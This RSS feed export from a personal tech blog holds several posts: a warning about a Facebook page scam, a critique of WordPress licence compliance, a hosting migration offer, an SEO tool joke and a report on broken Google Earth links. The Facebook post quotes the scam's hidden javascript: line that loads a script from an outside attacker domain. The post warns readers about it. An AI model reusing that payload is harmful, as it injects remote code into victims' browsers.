<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smackdown! &#187; coding</title>
	<atom:link href="http://smackdown.blogsblogsblogs.com/category/coding/feed/" rel="self" type="application/rss+xml" />
	<link>http://smackdown.blogsblogsblogs.com</link>
	<description>Smackdown!</description>
	<lastBuildDate>Tue, 22 Nov 2011 22:40:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>What&#8217;s A Faster Way To Get A Virus Than Browsing Porn? That&#8217;s Right: The New Facebook</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/05/04/whats-a-faster-way-to-get-a-virus-than-browsing-porn-thats-right-the-new-facebook/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/05/04/whats-a-faster-way-to-get-a-virus-than-browsing-porn-thats-right-the-new-facebook/#comments</comments>
		<pubDate>Wed, 04 May 2011 17:23:26 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[bad research]]></category>
		<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[On The Ball-ness]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=974</guid>
		<description><![CDATA[Quit staring, it&#8217;s just a thumb. Facebook has never been known for it&#8217;s safety. It is a site designed so that the least Internet savvy people out there can sign up and network with millions of other people, both those they know and those they don&#8217;t, with only a minimal amount of technical know-how required [...]]]></description>
			<content:encoded><![CDATA[<div style="float:right; margin: 4px;"><img src="/images/condom-thumb2.png" onmouseup="hl2l(event);" alt="Quit staring, it is just a thumb."><br /><em style="font-size: 10px;">Quit staring, it&#8217;s just a thumb.</em></div>
<p> Facebook has never been known for it&#8217;s safety. It is a site designed so that the least Internet savvy people out there can sign up and network with millions of other people, both those they know and those they don&#8217;t, with only a minimal amount of technical know-how required (ie. how to sign up, and how to browse). It is a giant playground filled with games and people to talk to from all over the world, luring in droves of people who, when they come, know nothing about &#8220;scareware&#8221;, or &#8220;phishing scams&#8221;, or even how to clean a virus from their machine if they get one. Sure, they&#8217;ve been told that if they visit porn sites they could very well get a virus, but hey, this is Facebook, <em>everyone</em> is on Facebook&#8230; it must be safe. The result is a gigantic community of <span id="more-974"></span><a href="http://en.wikipedia.org/wiki/Confidence_trick" target="_blank">gullible marks</a> just waiting to be exploited or infected by scammers and hackers.</p>
<p>That is why a couple of years ago I wrote a post on <a href="http://smackdown.blogsblogsblogs.com/2009/12/18/facebook-twitter-myspace-hacking-how-to-keep-it-from-happening-to-you/" target="_blank">how to prevent getting hacked on Facebook</a> (as well as on Twitter or Myspace). I happen to have quite a few friends and family who are not highly knowledgeable when it comes to the Internet, and through talking to them I came to realize that some of the things I take for granted many people were just not aware of. In the article I went into depth on some of the very basics of Internet security, such as what is the address bar in the browser, and how you needed to be <em>sure</em> you were on the site you thought you were on. That one simple tip could have saved millions of victims of phishing scams, had they just known where to look. Now, some fucking moron developer employed by Mark Zuckerberg has gone and rendered that advice pretty much pointless, at least as far as Facebook is concerned.</p>
<p>For those of you who own WordPress blogs, you are probably aware that if you get hacked one of the biggest dangers to your readers is the <a href="http://www.google.com/search?num=100&#038;q=iframe+hack+wordpress" target="_blank">iframe hack</a>. For those of you who don&#8217;t, or who are not familiar with html, an iframe is an element on a webpage that allows you to embed a second webpage into it. It&#8217;s very common and a perfectly normal feature of the html language. Iframes in and of themselves are not dangerous. Google AdSense , when shown on a webpage other than Google, is in an iframe. The same goes for Facebook &#8220;Like&#8221; buttons. So when you visit a page that has either of those, you are visiting Google or Facebook at the same time. The important thing for webmasters to note is that <em>you only ever embed iframes from sites you trust</em>. The reason this is so crucial is because once you embed an iframe from a site other than your own, you have no control whatsoever over what content is served from that iframe to your visitors. None. Nadda. Zilch.</p>
<p>The reason that hackers like utilizing iframes for hacking is that it allows them to serve malicious code and viruses to people while they are visiting sites that they trust. If you are out there browsing some seedy sites and popups show up telling you to click on a link or that you might have a virus you are much less likely to believe it. It&#8217;s simple psychology, and your guard is already up. This is much less true if you are on a site you visit every single day with no problems.</p>
<p>Apparently I missed it when it happened, but a couple of months ago some genius programmer at Facebook decided to introduce a way for people to <a href="http://developers.facebook.com/blog/post/462" target="_blank">utilize iframes</a> into Facebook Pages. I only found out about it myself when I discovered one of these pages yesterday. It was a link on a friend&#8217;s wall purporting to show pics of Osama bin Laden dead. I could tell right away that it was a scam, so I went to see just how potentially damaging it was. The first thing that struck me was that this was a page actually on Facebook itself, although it was giving instructions to enter in a series of keyboard commands, as if there were Javascript it was trying to get you to trigger. I moused around a bit, and realized there were some hidden forms on the page, which was really odd, so I went ahead and turned off all styles on the page. That&#8217;s what I saw what was going on. This is what the page looked like with normal styles turned on:</p>
<p>&nbsp;</p>
<p><a href="/images/facebook-page-with-iframe.png" target="_blank"><img src="/images/facebook-page-with-iframe-sm.png" onmouseup="hl2l(event);" alt="Facebook page with iframe" border="0"></a><br />
(<em>click to enlarge</em>)</p>
<p>&nbsp;</p>
<p>Clicking that button then revealed these instructions:</p>
<p>&nbsp;</p>
<p><img src="/images/facebook-iframe-instructions.png" onmouseup="hl2l(event);" alt="Facebook page with iframe instructions" border="0"></p>
<p>&nbsp;</p>
<p>What was not revealed, however, was the hidden &lt;textarea&gt; containing Javascript code that would then be fired if you did follow those instructions:</p>
<p>&nbsp;</p>
<p><code>&lt;textarea id="c"&gt;javascript:(a=(b=document).createElement('script')).src='//themafiafamily.net/bin/bl.js',b.body.appendChild(a);void(0)&lt;/textarea&gt;</code></p>
<p>&nbsp;</p>
<p>This causes a script to be injected from a domain owned by some hacker, themafiafamily.net, and it&#8217;s all downhill from there.</p>
<p>Of course, odds are pages like this won&#8217;t stay up for too long when they are created. There is a way to report them, and Facebook will eventually take them down once they investigate. However, there is no way to report them in a way that gets them dealt with in a timely manner. There is no &#8220;This page is hacking users&#8221; option. In fact, if you look at the &#8220;Like&#8221; counter on that page you can see that it had already hit over 109,000 people by the time I saw it, and who knows how many more before Facebook bothered to respond to the reports about it. Additionally, there is nothing stopping a hacker from running a <em>legitimate</em> page for a few weeks, attracting millions of people, and then deciding to hit them all with a virus afterwards.</p>
<p>The bottom line is that Facebook not addressing these issues and removing the ability to embed iframes borders on negligence. Currently the <a href="http://www.ftc.gov/" target="_blank">FTC</a> goes after companies and organizations that do not adequately <a href="http://www.ftc.gov/opa/2011/05/security.shtm" target="_blank">protect their user&#8217;s data</a>:</p>
<p> &nbsp;</p>
<p><a href="http://twitter.com/FTCgov/status/65780912843014144" target="_blank"><img src="/images/ftc-consumer-info-tweet.png" onmouseup="hl2l(event);" alt="Since 2001, the FTC has brought 34 law enforcement actions against businesses that allegedly failed to protect consumers personal info." border="0"></a></p>
<p>&nbsp;</p>
<p>Maybe they should start taking a look at companies that don&#8217;t adequately protect the actual users as well.</p>
<div><em>Thumb (yes, it&#8217;s a thumb) in <a href="http://www.flickr.com/photos/figleaf/491966201/" target="_blank">condom</a> image attribution goes to <a href="http://www.flickr.com/photos/figleaf/">figleaf</a>.</em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/05/04/whats-a-faster-way-to-get-a-virus-than-browsing-porn-thats-right-the-new-facebook/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>As It Turns Out, WordPress Itself Is Not 100% GPL Compliant After All (And They Violate The MIT License As Well)</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/#comments</comments>
		<pubDate>Fri, 18 Feb 2011 14:52:29 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=929</guid>
		<description><![CDATA[Yesterday I stumbled upon a rather interesting tidbit of information. I opened Twitter in the middle of a conversation between between Chip Bennett and Ben Cook, and I saw this tweet: &#160; &#160; Curiosity piqued, I dug back through the tweets until I found a link to the thread Ben was referring to. It turns [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I stumbled upon a rather interesting tidbit of information. I opened Twitter in the middle of a conversation between between <a href="http://www.chipbennett.net/" target="_blank">Chip Bennett</a> and <a href="http://wpblogger.com/" target="_blank">Ben Cook</a>, and I saw this tweet:</p>
<p>&nbsp;</p>
<p><a href="http://twitter.com/Skitzzo/status/38367735100620800" target="_blank"><img src="/images/ben-cook-tweet-20110218.png" onmouseup="hl2l(event);" alt="@chip_bennett @mattonomics that thread is everything wrong with the WordPress project wrapped up nicely in one ignorant package. - @Skitzzo" border="0"></a></p>
<p>&nbsp;</p>
<p>Curiosity piqued, I dug back through the tweets until I found a link to the thread Ben was referring to. It turns out that it is <span id="more-929"></span>a <a href="http://core.trac.wordpress.org/ticket/16517" target="_blank">bug report</a> on the WordPress bug tracking system, opened by user &#8220;hakre&#8221;:</p>
<blockquote><p>The  wordpress software packages to download form the website contain mostly source-code.</p>
<p>But as it&#8217;s known, there are files and parts in these, that are binary blobs and w/o their source as specified in the terms of the GNU GPL.</p>
<p>According to §1, §2 and §3 of the terms of the GNU GPL v2, the wordpress project must offer full source-code in order to distribute the whole package under GPL.</p>
<p>In §3 it&#8217;s made more specific what sources are:</p>
<p>    <em>The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.</em></p>
<p>I was looking over the wordpress homepage but I could not find any information where to obtain the according sources that are missing from the packages &#8211; either in full source packages or in it&#8217;s additional form.</p>
<p>Probably I&#8217;ve overlooked something, please help me obtaining such information. &#8211; <em>hakre</em></p></blockquote>
<p>What hakre was referring to was a specific section of the <a href="http://www.gnu.org/licenses/gpl-2.0.html" target="_blank">GNU General Public License v2.0</a>, which is the license that WordPress is released under. The requirements of the license dictate that anyone is free to modify or redistribute the software package, as long as the license itself stays intact, and as long as whoever receives the software package either gets a copy of the source code, an offer in writing that they will make the source code available on request, or a copy of the offer to make said source code available if that is how it was originally offered. Basically either the actual source code must be supplied, or a clear concise guarantee that it can be supplied on demand, must be included with the distribution. For the bulk of WordPress this is no problem and would never be an issue. The core WordPress files are written in php, with some elements in Javascript or html. All 3 of those languages, unless encoded in some special way, run as is straight from the source code. Php and Javascript are &#8220;scripting&#8221; languages and html is not actually a programming language. If someone wants to see or edit the &#8220;source code&#8221; for any of those files all they need to do is open them in a text editor and just look at them.</p>
<p>However, what hakre was talking about was the 1 and only executable file* (<em>see hakre&#8217;s <a href="http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/#comment-55854">comment below</a> for clarification</em>) that is currently distributed with WordPress, a file named swfupload.swf, which is located in the wp-includes/js/swfupload directory. It is a Flash file, is not considered editable by normal means, and it is compiled, not in source code form. The concern that hakre raises is quite valid, since without the source code being distributed along with this file it makes it impossible to distribute WordPress as GPL v2 software. This is a Very Big Deal, especially when you consider the rift that Matt Mullenweg created in the WordPress community over the whole issue of what GPL did and did not cover. Almost 2 years ago Matt asked a lawyer from the FSF to back up what Matt was saying, and <a href="http://wordpress.org/news/2009/07/themes-are-gpl-too/" target="_blank">in the closing paragraph of that post</a> he made the following statement:</p>
<blockquote><p>So as before, we will only promote and host things on WordPress.org that are 100% GPL or compatible. &#8211; <em>Matt Mullenweg</em></p></blockquote>
<p>The fact that WordPress can&#8217;t follow the license that they are claiming everyone else needs strict adherence to makes all of Matt&#8217;s previous pettiness just that much worse.</p>
<p>One of the WordPress contributers, Otto42, closed the ticket when he found it. In fact, he asked the question &#8220;What sources are missing?&#8221; in the same post, but marked the ticket as &#8220;invalid&#8221; without bothering to wait for an answer. The thread was then reopened by hakre again, after which Chip Bennett joins the conversation. In a nutshell, it&#8217;s a back and forth with Otto arguing that the source code for that file is not required, since WordPress authors did not write it, and since that particular executable is <em>not</em> GPL, and is instead released under the <a href="http://www.opensource.org/licenses/mit-license.php" target="_blank">MIT License</a>. The problem with his argument is that it is, of course, dead wrong. The GPL license does indeed allow you to distribute non-GPL licensed software within a GPL package, as long as a) the non-GPL license is less restrictive than the GPL (which the MIT license is), and b) the source code is included (which, again, WordPress is <em>not</em> doing here).</p>
<p>At one point Otto makes the following claim:</p>
<blockquote><p>As for the GPL, we are under no obligation to provide anything at all. Understand that the people here wrote the code and share a joint ownership of it. The GPL places no obligation whatsoever on the actual copyright holders of the code. They can release it anyway they like. The GPL only applies to licensees of the code in question; the downstream people using and redistributing that code. &#8211; <em>Otto42</em></p></blockquote>
<p>That of course sums up a bigger core misunderstanding of the situation that makes me wonder if more WordPress contributers are under the same illusion&#8230; that the GPL only applies to what <em>other</em> people can do with WordPress, and doesn&#8217;t actually apply to the contributers, or to the WordPress Foundation, or to Matt Mullenweg. Maybe all of Matt&#8217;s talk of how the GPL embodies all of WordPress&#8217;s core values managed to bury the reality of why the GPL was being used for WordPress. The truth is, WordPress is licensed under the GPL v2 because <em>they have no choice</em> in the matter, they <em>have</em> to use it. WordPress, you see, is a derivative of yet another software package, <a href="http://cafelog.com/" target="_blank">b2/cafelog</a>, which was licensed under the GPL v2 as of <a href="http://cafelog.com/index.php?p=427&#038;c=1" target="_blank">March 2nd, 2002</a>. </p>
<p>Otto also is also under the misconception that the following statement in the license covers them:</p>
<blockquote><p>If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code</p></blockquote>
<p>As a developer I am rather surprised at Otto&#8217;s lack of grasp on the IF&#8230;THEN&#8230; element to that statement. <em>If</em> the executable is being distributed from a remote location, <em>then</em> offering the source at that same location counts as distribution of the source code. An example of an executable being offered from a designated place would be Microsoft distributing software that requires their mfc32.dll to run, and giving you a link to their website where that can be downloaded. WordPress does not say &#8220;To use our Flash uploader you will need to download the executable from <a href="http://www.swfupload.org/" target="_blank">here</a>&#8220;&#8230; they distribute that executable with the WordPress package itself, which means, by the terms of the GPL license they are required to follow, that they must offer the source code as well.</p>
<p>The final argument in the bug report relies on the fact that inside one of the Javascript files that are bundled with SWFUpload there several links referenced, and if you follow one of those links and dig around you will eventually find the source code in question. Even this, however, is not actually sufficient. As Otto points out in several places during the discussion, SWFUpload is not in and of itself GPL, and are under no obligation to offer the source code. Therefore that site could disappear altogether and the source code would no longer be available. A link that is not a direct download being mentioned in a Javascript file is not even close to <em>WordPress</em> offering a place for people to download the source code.</p>
<p>Otto is right in one respect though, the flash file in question <em>is</em> under the MIT License. This license is short and sweet, and in it&#8217;s entirety reads:</p>
<blockquote><p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &#8220;Software&#8221;), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>
<p><strong>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</strong></p>
<p>THE SOFTWARE IS PROVIDED &#8220;AS IS&#8221;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p></blockquote>
<p>That middle line in the license, <em>&#8220;The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.&#8221;</em>, is non-trivial. It plainly states that a copy of this license <em>must</em> be included with the software. It does not say that &#8220;a copy of the notice or a link to it&#8221; is required, it clearly states that the notice itself needs to be there&#8230; and this notice just happens to be missing from the copy of the software distributed with WordPress. It also happens to be missing from from the thickbox package that is found in wp-includes/js/thickbox as well. The fact that either copy of the license was missing from wherever the WordPress developer who included it in the package got it originally is no excuse for WordPress being non-compliant, either. It is Matt Mullenweg&#8217;s responsibility, as the distributor, to ensure that all of the licenses are in line.</p>
<p>There is no question, ever since WordPress included the SWFUpload software without it&#8217;s source code, which as near as I can determine started in version 2.5, they have been in clear violation of the very license they have been bashing other people over the head with. Fixing it now will not change the fact that they violated it for years, either. There really is no excuse for this.</p>
<p><strong>Update:</strong> I just wanted to include a section in the GPL FAQ that I missed before that is strongly relevant to this discussion, &#8220;<a href="http://www.gnu.org/licenses/gpl-faq.html#UnchangedJustBinary" target="_blank">I downloaded just the binary from the net. If I distribute copies, do I have to get the source and distribute that too?</a>&#8221;</p>
<blockquote><p>Yes. The general rule is, if you distribute binaries, you must distribute the complete corresponding source code too. The exception for the case where you received a written offer for source code is quite limited.</p></blockquote>
<p>Honestly, it doesn&#8217;t get any clearer than that. Mind you, that won&#8217;t stop people from trying to argue the point further, but the FSF themselves are very succinct on that point. SWFUpload is a binary that the WordPress developers downloaded from somewhere else and included in their package, the GPL requires that the source code be included. WordPress has been in violation of the GPL for a few years now at least.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Hacked on GoDaddy? I&#8217;ll Migrate You To Hostgator For Free</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/11/10/hacked-on-godaddy-ill-migrate-you-to-hostgator-for-free/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/11/10/hacked-on-godaddy-ill-migrate-you-to-hostgator-for-free/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 17:07:21 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=852</guid>
		<description><![CDATA[Yet again, I am seeing a rising number of sites that are reporting getting hacked at GoDaddy. It is also no surprise to me that people are getting limited responses from them when they try and find out what is going on. The GoDaddy blog mentions nothing recently aside from when they were hacked 2 [...]]]></description>
			<content:encoded><![CDATA[<p>Yet again, I am seeing a rising number of sites that are reporting getting hacked at GoDaddy. It is also no surprise to me that people are getting limited responses from them when they try and find out what is going on. The GoDaddy blog mentions nothing recently aside from when they were <a href="http://community.godaddy.com/godaddy/halloween-eve-hacker-quickly-thwarted/" target="_blank">hacked 2 weeks ago on Halloween</a> (an attack that looks like it stemmed from GoDaddy not acting on a security advisory for 11 days). The thing is, I know from personal experience that they are aware of it, because I have seen cases where they are cleaning clients sites now automatically as a form of damage control, before the clients even know they were hacked, in an attempt to keep the buzz down about it. So they obviously know it is happening yet they are still keeping tight lipped about it, and being reactive instead of proactive, which is of course par for the course when it comes to <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">getting hacked on GoDaddy</a>.</p>
<p>Since this is an established pattern with them as a web host, and even though I still highly recommend them as registrars for domain names,<span id="more-852"></span> I have decided to make this offer to all clients who want to be done with getting their sites hacked. If you hire me to clean your hacked website(s), WordPress or otherwise (since pretty much any site on GoDaddy is subject to getting hacked), and are willing to switch to <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/> after I have you completely cleaned up (which is where this blog and many of my other sites are hosted, and a host that I highly recommend), then I will do the migration at no extra charge. </p>
<p>That&#8217;s right&#8230; I&#8217;ll move you to <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/>, for free.</p>
<p>Now, if you want to help me out a little with that, and use the affiliate links in this post or the banner in my sidebar to purchase your hosting, then great, I will get a commission from them for doing it. But that is in no way required for this offer, and not at all why I am making this deal. You can manually type in hostgator.com into your browser, or click on a friend&#8217;s banner, or whatever. I&#8217;ll still move you for free. Everyone should have safe hosting, period, and I am willing to help people get there.</p>
<p>The one caveat with this offer is if you have emails stored on the old server, and use either IMAP or their webmail, and you need those old emails (not the accounts, but the actual emails) moved off of GoDaddy and stored elsewhere, then it does take a few extra minutes per email account, depending on which solution you which to use. GoDaddy doesn&#8217;t give you direct access to download and move them, but there are a couple of workarounds available. Some you can do yourself if you like (like downloading all of the emails to your local computer using POP3), some I can do for you for a very small charge. Other than that for each site I clean I will move it to the new Hostgator account for you at no charge, and that includes the files, the databases, setting up the email accounts, and any ftp users you want to move.</p>
<p>If you are not currently hacked, and want to move to Hostgator anyway, I&#8217;ll still offer anyone who wants it a deal. If it does not need cleaning, I will migrate your entire site for only 30 minutes worth of labor, flat fee, again not counting the moving of the physical emails. If you have multiple sites that need moved, depending on the sizes of them, I can offer you further discounts on those as well. Hell, you don&#8217;t even have to be hosted at GoDaddy to take advantage of this offer. If you&#8217;re unhappy where you are at, just let me know.</p>
<p>Anyone who wants to have me get started on moving them to a better host should <a href="http://smackdown.blogsblogsblogs.com/contact-michael-vandemar/">contact me today</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/11/10/hacked-on-godaddy-ill-migrate-you-to-hostgator-for-free/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>*Proof* That The New SEOmoz Tool Is At Least Half Accurate</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/09/09/proof-that-the-new-seomoz-tools-is-at-least-half-accurate/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/09/09/proof-that-the-new-seomoz-tools-is-at-least-half-accurate/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 12:06:24 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[bad research]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=828</guid>
		<description><![CDATA[There has been quite of bit of controversy over the past few days arising from the new LDA based tool recently released by SEOmoz. While there may have been some very well thought out, compelling arguments against giving this tool any credit whatsoever, I have to tell you that in my opinion no argument, no [...]]]></description>
			<content:encoded><![CDATA[<p>There has been quite of bit of <a href="http://www.seangolliher.com/2010/seo/185/" target="_blank">controversy</a> over the past few days arising from the <a href="http://www.huomah.com/Search-Engines/Algorithm-Matters/Google-Rankings-and-LDA.html" target="_blank">new LDA based tool</a> recently released by SEOmoz. While there may have been some very <a href="http://andybeard.eu/3122/seomoz-lda-tool.html" target="_blank">well thought out, compelling</a> arguments against giving this tool any credit whatsoever, I have to tell you that in my opinion no argument, no matter how well worded, is going to win over a good old fashioned demonstration.</p>
<p>I am a big one for testing, and test this tool I did. Now, I know, I may have voiced some opinions in the past as to my doubt of the sincerity of <a href="http://smackdown.blogsblogsblogs.com/2007/08/06/rand-fishkin-the-troll-defense/" target="_blank">Rand Fishkin</a> and the folks who run things over at <a href="http://smackdown.blogsblogsblogs.com/2007/09/21/why-seomoz-needs-a-for-entertainment-purposes-only-disclaimer/" target="_blank">SEOmoz</a>, but regardless of what I said before, for me seeing is definitely believing. I plugged both the url for the post introducing the tool itself, along with the phrase <span id="more-828"></span>[<a href="http://www.seomoz.org/blog/lda-and-googles-rankings-well-correlated" target="_blank">made up statistical bullshit</a>], into the tool&#8217;s interface, and sure as hell this is what the tool showed me:</p>
<p>&nbsp;</p>
<p><a href="/images/seomoz-tool-half-correct.png" target="_blank"><img src="/images/seomoz-tool-half-correct-sm.png" onmouseup="hl2l(event);" alt="Well, the tool was half right..." border="0"></a><br />
(<em>click to enlarge</em>)</p>
<p>&nbsp;</p>
<p>I mean, c&#8217;mon now&#8230; those words weren&#8217;t used anywhere in the article, yet this tool was able to accurately determine that at least half* of everything that Rand said was relevant to that phrase?</p>
<p>I don&#8217;t know about you, but <em>I&#8217;m</em> convinced. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<div><em>* and yes, I know, the tool guessed numbers that were way low compared to the actual quantity of bullshit in the article, but seriously&#8230; you know as well as I do that any tool that can automatically detect even trace amounts of bullshit in a post is going to be a game changer. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/09/09/proof-that-the-new-seomoz-tools-is-at-least-half-accurate/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Breaking News: Google Borks the Earth</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/08/23/breaking-news-google-borks-the-earth/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/08/23/breaking-news-google-borks-the-earth/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 21:22:53 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[coding]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[search engines]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=820</guid>
		<description><![CDATA[Want to explore the entire planet from your computer? Normally all anyone wanting to do so would have to do would be to trot on over to Google Earth, download and install their application, and off globe trotting they could go. Today, unfortunately, those who do not already have the program installed are apparently out [...]]]></description>
			<content:encoded><![CDATA[<p>Want to explore the entire planet from your computer? Normally all anyone wanting to do so would have to do would be to trot on over to <a href="" target="_blank">Google Earth</a>, download and install their application, and off globe trotting they could go. Today, unfortunately, those who do not already have the program installed are apparently out of luck. It looks like today one of the brighter Google engineers working for one of the world&#8217;s leading tech companies has somehow broken not just one of the download links for the application, but all of them. <span id="more-820"></span></p>
<p>The first place many people would find one of the download links is right in the Google serps, once under the Google Earth sitelinks and once as it&#8217;s own listing:</p>
<p>&nbsp;</p>
<p><img src="/images/google-earth-download-serps.png" onmouseup="hl2l(event);" alt="Google Earth in the serps"></p>
<p>&nbsp;</p>
<p>That particular download link, <a href="earth.google.com/download-earth.html" target="_blank">earth.google.com/download-earth.html</a>, is being redirected to what I am guessing is an agreement page, <a href="http://www.google.com/earth/download/ge/agree.html" target="_blank">http://www.google.com/earth/download/ge/agree.html</a>. This, however, returns a 404:</p>
<p>&nbsp;</p>
<p><img src="/images/google-earth-404.png" onmouseup="hl2l(event);" alt="Agreement page not found"></p>
<p>&nbsp;</p>
<p>The second place people could normally download Google Earth from would be to go to the Google Earth homepage, which was previously located at <a href="http://earth.google.com" target="_blank">earth.google.com</a>, but is now being redirected to <a href="http://www.google.com/earth/index.html" target="_blank">http://www.google.com/earth/index.html</a>. There you can find 2 links, one in the left navigation and one as a large blue button with the text &#8220;Download Google Earth 5&#8243;:</p>
<p>&nbsp;</p>
<p><img src="/images/downloadbutton.png" onmouseup="hl2l(event);" alt="Big Blue Button"></p>
<p>&nbsp;</p>
<p>As inviting as that button is, however, it is simply teasing you. Both the link and the button trigger a Javascript function named earth.downloadEarth(). Normally downloading the entire planet would be a huge power trip&#8230; today however you get from clicking the button is &#8220;Server not found&#8221;:</p>
<p>&nbsp;</p>
<p><img src="/images/problemloading.png" onmouseup="hl2l(event);" alt="Whole server not found"></p>
<p>&nbsp;</p>
<p>It looks like the reason for this one not working is because someone got sloppy when changing the links from earth.google.com to www.google.com, and simply combined the two into <a href="http://earth.googlewww.google.com/intl/en/download-earth.html" target="_blank">http://earth.googlewww.google.com/intl/en/download-earth.html</a>, although that particular page doesn&#8217;t exist on either domain so obviously they messed up more than once. Also, what is even odder, is that the Google Earth packages are <em>also</em> missing from the Ubuntu download repositories:</p>
<p>&nbsp;</p>
<p><img src="/images/google-earth-linuxpkgmanager.png" onmouseup="hl2l(event);" alt="Google Earth gone from Ubuntu too?"></p>
<p>&nbsp;</p>
<p>To have Google Earth not be installable from anywhere seems almost as if there is something deliberate going on. Is Google going to phase out one of it&#8217;s cooler applications? Or is something new coming down the pipes from them that will replace it? Only time will tell.</p>
<p><em>Thanks to <a href="http://twitter.com/DonnaFontenot" target="_blank">Donna Fontenot</a> for discovering this today!</p>
]]></content:encoded>
